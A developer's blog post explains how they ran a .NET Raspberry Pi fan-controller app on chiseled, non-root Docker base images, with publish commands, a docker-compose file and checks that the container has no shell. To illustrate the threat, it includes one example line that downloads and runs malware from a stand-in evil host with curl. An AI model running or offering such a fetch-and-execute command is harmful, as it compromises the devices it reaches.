Using chiseled base images for a .NET app on a Raspberry Pi

In the last post, I showed you how to use the .NET SDK Container Building Tools that ship with .NET 8 to make building Docker images easier by removing the Dockerfile clutter.
In this post, I want to show you how this became handy when migrating one of my apps to Docker.

Introducing the Raspi Fan Controller project

Some years ago, I bought a Raspberry Pi 4 and while getting into touch with this neat mini computer, I read several times that it might get pretty hot and should better be run with a heat sink. So I decided to attach a small CPU fan and build a custom fan controller software based on .NET (read more about it here) - the Raspi Fan Controller project.

At the very beginning, I deployed it as a self-contained executable (no need to install .NET) on bare metal. However, since all of my other apps are running in Docker, I decided to containerize it, too.
The most tricky piece of this containerization was to learn about how to map the necessary paths and devices (like the Raspi’s GPIO pins) into a container. Finally, I found a working solution with a lot of help from the community and so the Raspi Fan Controller was running inside a container, too.

Chiseled base images for .NET

To be honest: when I first read the word chiseled, I thought about it being a typo 😅 it came to my attention when reading another excellent blog post from Rich Landers: Announcing .NET Chiseled Containers

If you never heard about it, here’s my very brief takeaway of the concept: Docker images are made up of layers and the lowest layers are very similar to a lightweight OS and contain necessary vital libraries and tools (e. g. a shell).
When running a container, however, it might not always be necessary to have a shell. Even more, consider a malicious component inside the container being able to run a shell and download and execute further malware via curl https://this.is.evil/killThisDevice.ps1.
Chiseled images mitigate those issues by two approaches:

1. They are non-root by default (so you can’t run apt install to install further tools).
2. They are stripped down to the bare minimum (there isn’t even the apt tool nor a shell).

This way, a malicious component can do way less harm.

Microsoft provides chiseled base images for .NET for Ubuntu Jammy and they are tagged with the suffix -chiseled, e. g. mcr.microsoft.com/dotnet/aspnet:8.0-jammy-chiseled.

Another neat benefit of chiseled images is that they are way smaller. That makes sense as they contain less tools and are stripped down. For example, the ASP.NET Core 8 image for Ubuntu Jammy is 216 MB big - the chiseled counterpart only 110 MB.

And why do you care?

Well, that’s a perfect question! One could definitely argue that in my private home network, the chance of a malicious attack might be negligibly. On the other hand, it’s a nice apprentice piece to get used to the technology and better safe than sorry.

Using chiseled images for the Raspi Fan Controller project

Since I had already containerized my project and made use of the .NET SDK Container Building Tools, providing a chiseled variant is fairly easy:

dotnet publish --os linux --arch arm64 /t:PublishContainer \
    -p:ContainerRegistry=registry.hub.docker.com \
    '-p:ContainerImageTags="1.0.0;latest"'

dotnet publish --os linux --arch arm64 /t:PublishContainer \
    -p:ContainerRegistry=registry.hub.docker.com \
    '-p:ContainerImageTags="1.0.0-chiseled;latest-chiseled"' \
    -p:ContainerFamily=jammy-chiseled

The first command we already know from the first blog post: it builds a Docker image for the Raspi’s arm64 architecture, using the non-chiseled base images by default.
For the second command, the parameter ContainerFamily is set to jammy-chiseled and that instructs the .NET SDK Container Building Tools to use the chiseled base image. To easily distinguish it, I use dedicated tags with the suffix -chiseled.

Running the chiseled image

To create a Docker container from the chiseled image, the following docker-compose.yml can be used:

version: '3'
services:
  raspifancontroller:
    container_name: raspifancontroller
    image: mu88/raspifancontroller:latest-chiseled
    ports:
      - 127.0.0.1:5000:8080
    user: "1654:997" # group 997 is necessary to access the GPIO pins
    volumes:
      - /sys/class/thermal/thermal_zone0:/sys/class/thermal/thermal_zone0:ro # CpuTemperature needs this
    devices:
      - /dev/gpiomem

Let’s dissect it piece by piece:

• The previously created image mu88/raspifancontroller:latest-chiseled is pulled and the container named raspifancontroller exposes its port 8080 via 5000 to the host. So far, this is basic ASP.NET Core 8.
• The user ID (UID) is set to 1654. This is a magic number for the new app user with non-root capabilities - another .NET 8 feature (read more about it here: Secure your .NET cloud apps with rootless Linux Containers)
• The user’s group ID (GID) is set to 997. This is the first important piece to notice as this group has the necessary permissions to control the Raspi’s GPIO pins.
• The host file /sys/class/thermal/thermal_zone0 is mapped into the container as read-only (notice the :ro suffix). This file contains the Raspi’s current CPU temperature and is necessary for the fan controller.
• Lastly, the device /dev/gpiomem is mapped which actually represents the GPIO pins.

When running docker compose up -d, a Docker container will be started.

See chiseled in action

Let’s recap the benefits of chiseled images from the beginning:

• non-root by default
• reduced to the bare minimum (i. e. no shell)

Let’s validate these statements!

No shell

If there’d be a shell, we could connect to the container via docker exec -it <<container>> bash, so let’s try it:

myUser@myRaspi:~ $ docker exec -it raspifancontroller bash
OCI runtime exec failed: exec failed: unable to start container process: exec: "bash": executable file not found in $PATH: unknown

Nice, we get an error indicating that there is no shell ✅

Non-root by default

If there’s no shell, how can we validate that the user has only limited permissions and cannot execute commands like apt install? We can check with a Docker command which user ID the process running inside the container has, because on Linux, the root user always has the UID 0.

myUser@myRaspi:~ $ docker top raspifancontroller
UID    PID   PPID  C  STIME  TTY  TIME      CMD
1654  1796  1704  1  Mar22  ?    04:15:47  dotnet RaspiFanController.dll

Cool, we see that the .NET assembly RaspiFanController.dll is running with the app’s UID 1654, i. e. as non-root ✅

Closing

And with that, I want to close this mini-series about non-root and chiseled containers, built with the .NET SDK Container Building Tools.

I hope you enjoyed it - have a great time and take care 👋🏻

PS: I’m very proud that some parts of this journey even made it into the official Microsoft docs: Control GPIO pins within rootless Docker container on Raspberry Pi